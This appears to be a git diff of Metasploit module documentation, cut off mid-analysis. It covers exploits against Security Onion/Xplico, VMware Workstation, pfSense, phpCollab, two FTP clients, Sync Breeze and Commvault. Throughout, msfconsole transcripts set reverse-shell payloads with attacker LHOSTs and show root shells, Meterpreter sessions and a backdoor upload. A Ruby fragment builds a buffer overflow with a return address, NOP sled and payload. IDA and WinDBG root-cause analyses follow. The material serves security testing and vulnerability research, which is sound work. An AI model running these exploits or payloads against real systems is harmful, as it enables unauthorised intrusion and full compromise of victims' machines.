msf exploit(securityonion_xplico_exec) > set RHOST 12.0.0.30
|
||||
RHOST => 12.0.0.30
|
||||
msf exploit(securityonion_xplico_exec) >
|
||||
msf exploit(securityonion_xplico_exec) > exploit
|
||||
|
||||
[-] Exploit failed: A payload has not been selected.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf exploit(securityonion_xplico_exec) > set payload cmd/unix/
|
||||
set payload cmd/unix/generic set payload cmd/unix/reverse_netcat
|
||||
set payload cmd/unix/reverse_awk
|
||||
msf exploit(securityonion_xplico_exec) > set payload cmd/unix/reverse_awk
|
||||
payload => cmd/unix/reverse_awk
|
||||
msf exploit(securityonion_xplico_exec) > set LHOST 12.0.0.1
|
||||
LHOST => 12.0.0.1
|
||||
msf exploit(securityonion_xplico_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 12.0.0.1:4444
|
||||
[*] Initiating new session on server side
|
||||
[*] Registering a new user
|
||||
[+] New user successfully registered
|
||||
[*] Username: mwbvnyowr
|
||||
[*] Password: gHPkAvCTXFDVcfTwaAmfoJUoMNHNDIDT
|
||||
[*] Calculating em_key code of the user
|
||||
[*] Activating user with em_key = 159d4af63472e2a47e3f3c5c11205a5e
|
||||
[+] User successfully activated
|
||||
[*] Authenticating with our activated new user
|
||||
[+] Successfully authenticated
|
||||
[*] Creating new case
|
||||
[+] New Case successfully creted. Our pol_id = 36
|
||||
[*] Creating new xplico session for pcap
|
||||
[+] New Sols successfully creted. Our sol_id = 54
|
||||
[*] Uploading malformed PCAP file
|
||||
[+] PCAP successfully uploaded. Pcap parser is going to start on server side.
|
||||
[*] Parsing has started. Wait for parser to get the job done...
|
||||
[+] We are at PCAP decoding phase. Little bit more patience...
|
||||
[+] We are at PCAP decoding phase. Little bit more patience...
|
||||
[+] We are at PCAP decoding phase. Little bit more patience...
|
||||
[*] Command shell session 1 opened (12.0.0.1:4444 -> 12.0.0.30:39782) at 2017-11-08 14:44:52 +0300
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
|
@ -0,0 +1,63 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability in VMware Workstation Pro and Player before version 12.5.6 on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
VMware Workstation Pro and VMware Workstation Player are the industry standard for running multiple operating systems as virtual machines on a single PC. Thousands of IT professionals, developers and businesses use Workstation Pro and Workstation Player to be more agile, more productive and more secure every day.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* VMware Player version 12.5.0 on Debian Linux
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. Do: `use exploit/linux/local/vmware_alsa_config`
|
||||
4. Do: `set SESSION [SESSION]`
|
||||
5. Do: `check`
|
||||
6. Do: `run`
|
||||
7. You should get a new root session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf exploit(vmware_alsa_config) > check
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[+] Target version is vulnerable
|
||||
[+] The target is vulnerable.
|
||||
msf exploit(vmware_alsa_config) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.191.181:4444
|
||||
[+] Target version is vulnerable
|
||||
[*] Launching VMware Player...
|
||||
[*] Meterpreter session 2 opened (172.16.191.181:4444 -> 172.16.191.221:33807) at 2017-06-23 08:22:11 -0400
|
||||
[*] Removing /tmp/.baVu7FwzlaIQyp
|
||||
[*] Removing /home/user/.asoundrc
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.221
|
||||
OS : Debian 8.8 (Linux 3.16.0-4-amd64)
|
||||
Architecture : x64
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability in pfSense version 2.2.6 and before which allows an authenticated user to execute arbitrary operating system commands as root.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on version 2.2.6-RELEASE, 2.2.5-RELEASE, and 2.1.3-RELEASE
|
||||
|
||||
Installers:
|
||||
|
||||
* [pfSense 2.2.6-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.6-RELEASE-amd64.iso.gz)
|
||||
* [pfSense 2.2.5-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.5-RELEASE-amd64.iso.gz)
|
||||
* [pfSense 2.1.3-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.1.3-RELEASE-amd64.iso.gz)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use exploit/unix/http/pfsense_graph_injection_exec`
|
||||
3. Do: `set RHOST [IP]`
|
||||
4. Do: `set USERNAME [username]`
|
||||
5. Do: `set PASSWORD [password]`
|
||||
6. Do: `set LHOST [IP]`
|
||||
7. Do: `exploit`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### pfSense Community Edition 2.2.6-RELEASE
|
||||
|
||||
```
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > use exploit/unix/http/pfsense_graph_injection_execmsf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
|
||||
RHOST => 2.2.2.2
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
|
||||
LHOST => 1.1.1.1
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
|
||||
[*] Payload uploaded successfully, executing
|
||||
[*] Sending stage (37543 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:42116) at 2018-01-01 17:17:36 -0600
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : pfSense.localdomain
|
||||
OS : FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
|
||||
Meterpreter : php/freebsd
|
||||
meterpreter > getuid
|
||||
Server username: root (0)
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### pfSense Community Edition 2.1.3-RELEASE
|
||||
|
||||
```
|
||||
msf > use exploit/unix/http/pfsense_graph_injection_exec
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
|
||||
RHOST => 2.2.2.2
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
|
||||
LHOST => 1.1.1.1
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > set PAYLOAD php/reverse_php
|
||||
PAYLOAD => php/reverse_php
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload
|
||||
[*] Payload uploaded successfully, executing
|
||||
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:3454) at 2018-01-01 15:49:38 -0600
|
||||
uname -a
|
||||
|
||||
FreeBSD pfSense.localdomain 8.3-RELEASE-p16 FreeBSD 8.3-RELEASE-p16 #0: Thu May 1 16:19:14 EDT 2014 root@pf2_1_1_amd64.pfsense.org:/usr/obj.amd64/usr/pfSensesrc/src/sys/pfSense_SMP.8 amd64
|
||||
```
|
|
@ -0,0 +1,44 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits a file upload vulnerability in phpCollab 2.5.1
|
||||
which could be abused to allow unauthenticated users to execute arbitrary code
|
||||
under the context of the web server user.
|
||||
|
||||
The exploit has been tested on Ubuntu 16.04.3 64-bit
|
||||
|
||||
### Vulnerable Application Installation
|
||||
|
||||
You can download the vulnerable application from the [exploit-db page](https://www.exploit-db.com/apps/dda41c5b541d7adc0b50b1fcf3bf7519-phpCollab-v2.5.1.zip).
|
||||
|
||||
Follow the install instructions from the phpCollab website:
|
||||
http://phpcollab.com/documentation/install.htm.
|
||||
|
||||
The phpCollab application is only compatible with php5.
|
||||
|
||||
## Verification steps
|
||||
|
||||
```
|
||||
msf > use exploit/unix/webapp/phpcollab_upload_exec
|
||||
msf exploit(phpcollab_upload_exec) > set RHOST [IP Address]
|
||||
msf exploit(phpcollab_upload_exec) > set TARGETURI [Installation Directory]
|
||||
msf exploit(phpcollab_upload_exec) > exploit
|
||||
|
||||
## Sample Output
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.246.129:4444
|
||||
[*] Uploading backdoor file: 1.mEgUkeNnxP.php
|
||||
[+] Backdoor successfully created.
|
||||
[*] Triggering the exploit...
|
||||
[*] Sending stage (37543 bytes) to 192.168.246.144
|
||||
[*] Meterpreter session 1 opened (192.168.246.129:4444 -> 192.168.246.144:49264) at 2017-12-20 15:44:36 -0500
|
||||
[+] Deleted 1.mEgUkeNnxP.php
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
meterpreter > pwd
|
||||
/var/www/html/phpcollab/logos_clients
|
||||
meterpreter >
|
||||
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,189 @@
|
|||
# Ayukov NFTP FTP Client Stack Buffer Overflow Analysis
|
||||
|
||||
## Introduction
|
||||
|
||||
Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in
|
||||
2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it
|
||||
handles the server input.
|
||||
|
||||
The exploit was tested on Windows XP SP3 (English).
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerable copy can be [downloaded from Exploit-DB](https://www.exploit-db.com/apps/a766d928899200ed6a21f7c790b5cbe5-nftp-1.71-i386-win32.exe).
|
||||
|
||||
## PoC
|
||||
|
||||
A submission was made to Metasploit as [PR #9360](https://github.com/rapid7/metasploit-framework/pull/9360). Here's an example of how to crash the FTP client:
|
||||
|
||||
```ruby
|
||||
# Let the client log in
|
||||
client.get_once
|
||||
|
||||
user = "331 OK.\r\n"
|
||||
client.put(user)
|
||||
|
||||
client.get_once
|
||||
pass = "230 OK.\r\n"
|
||||
client.put(pass)
|
||||
|
||||
sploit = "A"*4116
|
||||
sploit << [target.ret].pack('V') # JMP ESP here
|
||||
sploit << "\x90"*16
|
||||
sploit << payload.encoded
|
||||
sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length)
|
||||
sploit << "\r\n"
|
||||
|
||||
client.put(sploit)
|
||||
|
||||
client.get_once
|
||||
pwd = "257\r\n"
|
||||
client.put(pwd)
|
||||
client.get_once
|
||||
```
|
||||
|
||||
## Root Cause Analysis
|
||||
|
||||
When serving the PoC against the vulnerable app, the client's command prompt shows:
|
||||
|
||||
```
|
||||
12:28:43 331 OK.
|
||||
12:28:43 USER anonymous
|
||||
12:28:43 230 OK.
|
||||
12:28:43 Successfully logged in as 'anonymous@192.168.0.12'
|
||||
12:28:43 SYST
|
||||
12:28:43 .................. Lots of AAAAAs here .....................
|
||||
12:28:43 TYPE I
|
||||
12:28:43 257
|
||||
```
|
||||
|
||||
The interesting part here is that when the client sends a ```SYST``` request, the server responds
|
||||
with a long string of data attempting to cause a crash. This would be a good starting point to
|
||||
investigate the root cause.
|
||||
|
||||
With IDA Pro, we can tell that the ```SYST``` string is at the following location:
|
||||
|
||||
```
|
||||
.text:004096B6 ; char aSyst[]
|
||||
.text:004096B6 aSyst db 'SYST',0 ; DATA XREF: sub_409978+B8Co
|
||||
```
|
||||
|
||||
When we cross reference, we can tell this is used by the ```OpenControlConnection``` function.
|
||||
Although there is no symbol to identify the actual function name "OpenControlConnection", the
|
||||
debugging message at the beginning of the function is a big hint:
|
||||
|
||||
```C
|
||||
int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
|
||||
{
|
||||
sub_45AF40(savedregs);
|
||||
*(_DWORD *)&name.sa_data[10] = a2;
|
||||
*(_DWORD *)&name.sa_data[6] = a3;
|
||||
*(_DWORD *)&name.sa_data[2] = a1;
|
||||
if ( !dword_477AEC )
|
||||
sub_419B4C(1);
|
||||
while ( 1 )
|
||||
{
|
||||
while ( 1 )
|
||||
{
|
||||
do
|
||||
{
|
||||
sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]);
|
||||
...
|
||||
```
|
||||
|
||||
Anyway, inside the OpenControlConnection function, we can see that the ```SYST``` command is
|
||||
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
|
||||
way):
|
||||
|
||||
```
|
||||
.text:0040A504 push offset aSyst ; "SYST"
|
||||
.text:0040A509 lea eax, [ebp+charResBuffer]
|
||||
.text:0040A50F push eax ; charResBuffer
|
||||
.text:0040A510 lea eax, [ebp+args]
|
||||
.text:0040A516 push eax ; int
|
||||
.text:0040A517 push 0 ; int
|
||||
.text:0040A519 call SendFTPRequest
|
||||
```
|
||||
|
||||
Inside the SendFTPRequest function, it looks like this:
|
||||
|
||||
```C
|
||||
int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...)
|
||||
{
|
||||
char *v4; // ebx@0
|
||||
int v5; // edi@0
|
||||
int v6; // esi@0
|
||||
char *v7; // edx@1
|
||||
char Dst[16384]; // [esp+18h] [ebp-4000h]@2
|
||||
char *savedregs; // [esp+4018h] [ebp+0h]@1
|
||||
va_list va; // [esp+4030h] [ebp+18h]@1
|
||||
|
||||
va_start(va, Format);
|
||||
sub_45AF40(savedregs);
|
||||
savedregs = v4;
|
||||
v7 = Format;
|
||||
if ( Format )
|
||||
{
|
||||
v4 = Dst;
|
||||
// This actually checks the input for the FTP command from the client.
|
||||
// The 0x4000u indicates the string should not be longer than that, otherwise
|
||||
// there will be a buffer overflow warning in this function.
|
||||
snprintf1(Dst, 0x4000u, Format, va);
|
||||
v7 = Dst;
|
||||
}
|
||||
return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7);
|
||||
}
|
||||
```
|
||||
|
||||
We were able to tell the second argument for ```SendFTPRequest``` is actually a buffer for receiving
|
||||
the server's response, because the way it is used:
|
||||
|
||||
```C
|
||||
result = SendFTPRequest(0, (int)args, charResBuffer, "SYST");
|
||||
if ( result == -4 )
|
||||
return result;
|
||||
if ( result )
|
||||
goto LABEL_231;
|
||||
if ( *(_DWORD *)args == 2 )
|
||||
{
|
||||
sub_445CEC(charResBuffer);
|
||||
if ( strstr(charResBuffer, "unix") )
|
||||
{
|
||||
if ( strstr(charResBuffer, "powerweb") )
|
||||
{
|
||||
*(_DWORD *)dword_47B1E0 = 6;
|
||||
goto LABEL_206;
|
||||
}
|
||||
}
|
||||
...
|
||||
```
|
||||
|
||||
In addition, this buffer is actually on the stack, and it's 4096 long:
|
||||
|
||||
```
|
||||
-00001010 charResBuffer db 4096 dup(?)
|
||||
```
|
||||
|
||||
This means that if the server responds with something longer than 4096 bytes for the ```SYST``` request,
|
||||
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of
|
||||
```OpenControlConnection```, the ```RETN``` ends up loading the corrupt data, which may lead to
|
||||
arbitrary code execution:
|
||||
|
||||
```
|
||||
.text:0040AC39 lea esp, [ebp-2048h]
|
||||
.text:0040AC3F pop ebx
|
||||
.text:0040AC40 pop esi
|
||||
.text:0040AC41 pop edi
|
||||
.text:0040AC42 leave
|
||||
.text:0040AC43 retn
|
||||
```
|
||||
|
||||
Since whoever is using ```SendFTPRequest``` is responsible for providing the buffer of the server
|
||||
response, and there are 47 other cross-references, it is possible there are different ways to
|
||||
trigger the same bug. And since it doesn't look like there is a patch (because the product is
|
||||
no longer in active development, from the exploit developer's perspective, it is not necessary
|
||||
to look for other ways to exploit it).
|
||||
|
||||
## References
|
||||
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2017-15222
|
|
@ -0,0 +1,148 @@
|
|||
# LabF nfsAxe FTP Client 3.7 Stack Buffer Overflow
|
||||
|
||||
## Introduction
|
||||
|
||||
LabF nfsAxe is a package of NFS servers and clients on Windows, including:
|
||||
|
||||
* NFS Client
|
||||
* NFS Server
|
||||
* FTP client
|
||||
* Telnet
|
||||
* LPD & LPR
|
||||
* TFTP
|
||||
|
||||
The FTP client is vulnerable a stack-based buffer overflow due to the way it handles the server
|
||||
input, which could lead to arbitrary remote code execution under the context of the user.
|
||||
|
||||
The exploit was tested on Windows 7 Enterprise SP1 (English).
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerable copy can be [downloaded from Exploit-DB](https://www.exploit-db.com/apps/81575f3c81f28a239e881f68e5ea82b1-nfsaxe.exe).
|
||||
|
||||
## Root Cause Analysis
|
||||
|
||||
Inside sub_42C890() of ftp.exe, a stack buffer ```[esp+2424h+ptrBuffer]``` is passed as an
|
||||
argument to sub_42EE10():
|
||||
|
||||
```
|
||||
AUTO:0042C8FF loc_42C8FF: ; CODE XREF: sub_42C890+16Aj
|
||||
AUTO:0042C8FF ; sub_42C890+1B5j
|
||||
AUTO:0042C8FF push edi
|
||||
AUTO:0042C900 mov ebx, 3FFh
|
||||
AUTO:0042C905 lea edx, [esp+2424h+ptrBuffer]
|
||||
AUTO:0042C90C push 1
|
||||
AUTO:0042C90E mov eax, ds:dword_465100
|
||||
AUTO:0042C913 mov ecx, edi
|
||||
AUTO:0042C915 call sub_42EE10 ; Call Procedure
|
||||
```
|
||||
|
||||
According to IDA, the buffer size is 1024 bytes:
|
||||
|
||||
```
|
||||
-0000041C ptrBuffer db 1024 dup(?)
|
||||
```
|
||||
|
||||
The buffer pointer is used to receive data from the FTP server. It is passed all the way to
|
||||
xwpwsock!recv_dll, and then WS2_32!recv. Finally, the exploit causes the exploit to crash
|
||||
because the malicious string is long enough that causes an out-of-bound WRITE. This can
|
||||
be observed by the following demonstration with these breakpoints:
|
||||
|
||||
```
|
||||
bp 0042c915 ".printf \"Passing static buffer pointer at 0x%08x\", edx; .echo ;g"
|
||||
bp 0042ea0c ".printf \"Destination buffer for receive is: 0x%08x\n\", edx; .echo; g"
|
||||
bp 0042eb73 ".printf \"EDX Text dump: %ma\n\", edx; .echo; .echo; g"
|
||||
```
|
||||
|
||||
The WinDBG output:
|
||||
|
||||
```
|
||||
Passing static buffer pointer at 0x027ff4f4
|
||||
Destination buffer for receive is: 0x027ff4f4
|
||||
EDX Text dump: AAAAAAAAAAAAAAA ........ AAAAAAAAAAAAAAA (a very long string)
|
||||
|
||||
(d48.864): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=00000041 ebx=000003fe ecx=ffffdbfc edx=000003fe esi=027ffc02 edi=02800000
|
||||
eip=0042cac5 esp=027fd4ec ebp=000023ee iopl=0 nv up ei pl nz na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
|
||||
ftp+0x2cac5:
|
||||
0042cac5 8807 mov byte ptr [edi],al ds:0023:02800000=??
|
||||
```
|
||||
|
||||
In this crash, ESI is the source input, which is filled with our malicious input:
|
||||
|
||||
```
|
||||
0:001> dd esi
|
||||
027ffc02 41414141 41414141 41414141 41414141
|
||||
027ffc12 41414141 41414141 41414141 41414141
|
||||
027ffc22 41414141 41414141 41414141 41414141
|
||||
027ffc32 41414141 41414141 41414141 41414141
|
||||
027ffc42 41414141 41414141 41414141 41414141
|
||||
027ffc52 41414141 41414141 41414141 41414141
|
||||
027ffc62 41414141 41414141 41414141 41414141
|
||||
027ffc72 41414141 41414141 41414141 41414141
|
||||
```
|
||||
|
||||
EDI would be the destination buffer used for this copy routine:
|
||||
|
||||
```
|
||||
AUTO:0042CAC3 loc_42CAC3: ; CODE XREF: sub_42C890+249j
|
||||
AUTO:0042CAC3 mov al, [esi] ; ESI is the malicious input
|
||||
AUTO:0042CAC5 mov [edi], al ; EDI = our buffer, and AL is a byte from the malicious input
|
||||
AUTO:0042CAC7 cmp al, 0 ; Check null byte
|
||||
AUTO:0042CAC9 jz short loc_42CADB ; Done copying
|
||||
AUTO:0042CACB mov al, [esi+1] ; The next byte
|
||||
AUTO:0042CACE add esi, 2
|
||||
AUTO:0042CAD1 mov [edi+1], al
|
||||
AUTO:0042CAD4 add edi, 2
|
||||
AUTO:0042CAD7 cmp al, 0
|
||||
AUTO:0042CAD9 jnz short loc_42CAC3 ; Continue copying if string isn't null
|
||||
```
|
||||
|
||||
Since the exploit supplies a string that is long enough, the SEH chain on the stack is also
|
||||
overwritten:
|
||||
|
||||
```
|
||||
0:001> !exchain
|
||||
027fff70: 41414141
|
||||
Invalid exception stack at 41414141
|
||||
```
|
||||
|
||||
The exploit simply overwrites the SEH chain to gain arbitrary code execution.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To test the exploit:
|
||||
|
||||
1. Install the application
|
||||
2. Start `msfconsole`
|
||||
3. Do: `use exploit/windows/ftp/labf_nfsaxe`
|
||||
4. Set options and payload
|
||||
5. Do: `exploit`
|
||||
6. Connect to the FTP server using the FTP client
|
||||
7. You should get a session like the following demonstration:
|
||||
|
||||
```
|
||||
msf exploit(windows/ftp/labf_nfsaxe) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.85.1:4444
|
||||
[*] Please ask your target(s) to connect to 172.16.85.1:21
|
||||
[*] Server started.
|
||||
msf exploit(windows/ftp/labf_nfsaxe) >
|
||||
[*] 172.16.85.134 - connected.
|
||||
[*] 172.16.85.134 - Response: Sending 220 Welcome
|
||||
[*] 172.16.85.134 - Request: AUTH GSSAPI
|
||||
[*] 172.16.85.134 - Response: sending 331 OK
|
||||
[*] 172.16.85.134 - Request: ADAT TlRMTVNTUA==
|
||||
[*] 172.16.85.134 - Response: Sending 230 OK
|
||||
[*] 172.16.85.134 - Request: USER Guest
|
||||
[*] 172.16.85.134 - Request: Sending the malicious response
|
||||
[*] Sending stage (179779 bytes) to 172.16.85.134
|
||||
[*] Meterpreter session 1 opened (172.16.85.1:4444 -> 172.16.85.134:49213) at 2018-01-09 22:38:33 -0600
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
https://www.exploit-db.com/exploits/43236/
|
|
@ -1,8 +1,17 @@
|
|||
## Vulnerable Application
|
||||
|
||||
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
|
||||
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28, v10.0.28, and v10.1.16
|
||||
are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker
|
||||
to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities
|
||||
are caused by improper bounds checking of the request path in HTTP GET requests and username value
|
||||
via HTTP POST requests sent to the built-in web server, respectively.
|
||||
|
||||
This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available
|
||||
for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe)
|
||||
and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install a vulnerable Sync Breeze Enterprise
|
||||
2. Start `Sync Breeze Enterprise` service
|
||||
3. Start `Sync Breeze Enterprise` client application
|
||||
|
|
|
@ -0,0 +1,208 @@
|
|||
# Commvault Communications Service execCmd Vulnerability
|
||||
|
||||
## Introduction
|
||||
|
||||
Commvault is a data protection and information management software; an enterprise-level data
|
||||
platform that contains modules to back up, restore, archive, replicate, and search data.
|
||||
|
||||
According to public documentation, the data is protected by installing agent software on the
|
||||
physical or virtual hosts, which use the OS or application native APIs to protect data in a
|
||||
consistent state. Production data is processed by the agent on client computers and backed
|
||||
up through a data manager (the MediaAgent) to disk, tape, or cloud storage. All data
|
||||
management activity in the environment is tracked by a centralized server (called CommServe),
|
||||
and can be managed by administrators through a central user interface. End users can access
|
||||
protected data using web browsers or mobile devices.
|
||||
|
||||
One of the base services of Commvault is vulnerable to a remote command injection attack,
|
||||
specifically the cvd service.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Commvault v11 SP5 or prior are vulnerable to this vulnerability. The specific vulnerable
|
||||
version I tested was 11.0.80.0.
|
||||
|
||||
The version of the vulnerable DLL is:
|
||||
|
||||
```
|
||||
Image path: C:\Program Files\Commvault\ContentStore\Base\CVDataPipe.dll
|
||||
Image name: CVDataPipe.dll
|
||||
Timestamp: Wed Dec 21 11:59:21 2016 (585AC2F9)
|
||||
CheckSum: 002ED404
|
||||
ImageSize: 002F0000
|
||||
File version: 11.80.50.60437
|
||||
Product version: 11.0.0.0
|
||||
File flags: 1 (Mask 3F) Debug
|
||||
File OS: 40004 NT Win32
|
||||
File type: 1.0 App
|
||||
File date: 00000000.00000000
|
||||
Translations: 0409.04b0
|
||||
CompanyName: Commvault
|
||||
ProductName: Commvault
|
||||
InternalName: CVDataPipe
|
||||
OriginalFilename: CVDataPipe.dll
|
||||
ProductVersion: 11.0.0.0
|
||||
FileVersion: 11.80.50.60437
|
||||
PrivateBuild:
|
||||
SpecialBuild:
|
||||
FileDescription:
|
||||
LegalCopyright: Copyright (c) 2000-2016
|
||||
LegalTrademarks:
|
||||
Comments:
|
||||
```
|
||||
|
||||
## Root Cause Analysis
|
||||
|
||||
Usually, there are two ways to execute a command in a C/C++ application, one of them is ```WinExec()```,
|
||||
and the other one is ```CreateProcess()```:
|
||||
|
||||
```
|
||||
BOOL WINAPI CreateProcess(
|
||||
_In_opt_ LPCTSTR lpApplicationName,
|
||||
_Inout_opt_ LPTSTR lpCommandLine,
|
||||
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
_In_ BOOL bInheritHandles,
|
||||
_In_ DWORD dwCreationFlags,
|
||||
_In_opt_ LPVOID lpEnvironment,
|
||||
_In_opt_ LPCTSTR lpCurrentDirectory,
|
||||
_In_ LPSTARTUPINFO lpStartupInfo,
|
||||
_Out_ LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
|
||||
```
|
||||
|
||||
Since ```CreateProcess()``` is meant to replace ```WinExec()``` according to Microsoft, we can create a
|
||||
breakpoint there first in our debugger (WinDBG), and we hit it:
|
||||
|
||||
```
|
||||
0:044> g
|
||||
Breakpoint 3 hit
|
||||
kernel32!CreateProcessA:
|
||||
00000000`76fe8730 4c8bdc mov r11,rsp
|
||||
```
|
||||
|
||||
Looking at the callstack of this ```kernel32!CreateProcessA```, we already have a pretty good idea
|
||||
locating the vulnerability:
|
||||
|
||||
```
|
||||
0:044> k
|
||||
Child-SP RetAddr Call Site
|
||||
00000000`11a36b78 000007fe`f378a40f kernel32!CreateProcessA
|
||||
00000000`11a36b80 000007fe`f377714e CVDataPipe!execCmd+0x7af
|
||||
00000000`11a3f340 000007fe`f3777a69 CVDataPipe!CVDMessageHandler+0x78e
|
||||
00000000`11a3fbd0 000007fe`f9cdc58d CVDataPipe!CVDMessageHandler+0x10a9
|
||||
00000000`11a3fd40 000007fe`f9cdc1b1 CvBasicLib!CvThreadPool::th_defaultWorkerObj+0x3cd
|
||||
00000000`11a3fe40 000007fe`f9cd2073 CvBasicLib!CvThreadPool::th_defaultWorker+0x51
|
||||
00000000`11a3fe90 000007fe`f9a84f7f CvBasicLib!CvThread::~CvThread+0x63
|
||||
00000000`11a3fee0 000007fe`f9a85126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376]
|
||||
00000000`11a3ff10 00000000`76f6f56d MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354]
|
||||
00000000`11a3ff40 00000000`770a3281 kernel32!BaseThreadInitThunk+0xd
|
||||
00000000`11a3ff70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
|
||||
```
|
||||
|
||||
There are two things that are interesting. One of them is ```CVDataPipe!CVDMessageHandler```, and the
|
||||
other one is ```CVDataPipe!execCmd```.
|
||||
|
||||
```CVDataPipe!CVDMessageHandler``` is basically a function that handles our packet's message type.
|
||||
The Metasploit exploit specifically sends a code of ```9h```, which is the message type for ```execCmd```:
|
||||
|
||||
```
|
||||
.text:0000000180147103 loc_180147103: ; CODE XREF: CVDMessageHandler(int,selectStruct_t *,CQiSocket,void *):loc_180146D78j
|
||||
.text:0000000180147103 lea rax, [rsp+888h+var_220] ; jumptable 0000000180146D78 case 9
|
||||
.text:000000018014710B mov [rsp+888h+var_600], rax
|
